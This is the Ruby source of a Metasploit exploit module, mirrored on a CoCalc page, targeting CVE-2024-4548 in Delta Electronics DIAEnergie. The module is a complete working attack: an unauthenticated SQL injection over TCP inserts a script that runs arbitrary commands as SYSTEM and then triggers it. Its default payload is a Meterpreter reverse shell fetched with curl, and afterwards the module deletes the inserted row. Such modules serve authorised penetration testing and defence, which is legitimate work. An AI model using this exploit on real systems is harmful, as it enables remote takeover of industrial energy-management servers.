Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/diaenergie_sqli.rb
33323 views
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::Tcp
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',
11
'Description' => %q{
12
SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.
13
This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.
14
},
15
'License' => MSF_LICENSE,
16
'Author' => [
17
'Michael Heinzl', # MSF exploit
18
'Tenable' # Discovery & PoC
19
],
20
'References' => [
21
[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],
22
[ 'CVE', '2024-4548']
23
],
24
'DisclosureDate' => '2024-05-06',
25
'Platform' => 'win',
26
'Targets' => [
27
[
28
'Windows_Fetch',
29
{
30
'Arch' => [ ARCH_CMD ],
31
'Platform' => 'win',
32
'DefaultOptions' => {
33
'FETCH_COMMAND' => 'CURL',
34
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
35
},
36
'Type' => :win_fetch
37
}
38
]
39
],
40
'DefaultTarget' => 0,
41
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'Reliability' => [REPEATABLE_SESSION],
45
'SideEffects' => [IOC_IN_LOGS]
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(928)
53
]
54
)
55
end
56
57
# Determine if the DIAEnergie version is vulnerable
58
def check
59
begin
60
connect
61
sock.put 'Who is it?'
62
res = sock.get || ''
63
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
64
vprint_error(e.message)
65
return Exploit::CheckCode::Unknown
66
ensure
67
disconnect
68
end
69
70
if res.empty?
71
vprint_status('Received an empty response.')
72
return Exploit::CheckCode::Unknown
73
end
74
75
vprint_status('Who is it response: ' + res.to_s)
76
version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
77
version = res.match(version_pattern)
78
79
if version[0].nil?
80
return Exploit::CheckCode::Detected
81
end
82
83
vprint_status('Version retrieved: ' + version[0])
84
85
unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
86
return CheckCode::Safe
87
end
88
89
return CheckCode::Appears
90
end
91
92
def exploit
93
execute_command(payload.encoded)
94
end
95
96
def execute_command(cmd)
97
scname = Rex::Text.rand_text_alphanumeric(5..10).to_s
98
vprint_status('Using random script name: ' + scname)
99
100
year = rand(2024..2026)
101
month = sprintf('%02d', rand(1..12))
102
day = sprintf('%02d', rand(1..29))
103
random_date = "#{year}-#{month}-#{day}"
104
vprint_status('Using random date: ' + random_date)
105
106
hour = sprintf('%02d', rand(0..23))
107
minute = sprintf('%02d', rand(0..59))
108
second = sprintf('%02d', rand(0..59))
109
random_time = "#{hour}:#{minute}:#{second}"
110
vprint_status('Using random time: ' + random_time)
111
112
# Inject payload
113
begin
114
print_status('Sending SQL injection...')
115
connect
116
vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")
117
sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
118
res = sock.get
119
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
120
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
121
end
122
123
vprint_status('Injection - Expected response received: ' + res.to_s)
124
disconnect
125
126
# Trigger
127
print_status('Triggering script execution...')
128
connect
129
sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"
130
res = sock.get
131
unless res.to_s == 'Recalculate Script Start!'
132
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
133
end
134
vprint_status('Trigger - Expected response received: ' + res.to_s)
135
136
disconnect
137
138
print_good('Script successfully injected, check thy shell.')
139
ensure
140
# Cleanup
141
print_status('Cleaning up database...')
142
connect
143
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
144
res = sock.get
145
unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
146
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
147
end
148
vprint_status('Cleanup - Expected response received: ' + res.to_s)
149
150
disconnect
151
end
152
end
153
end
154
155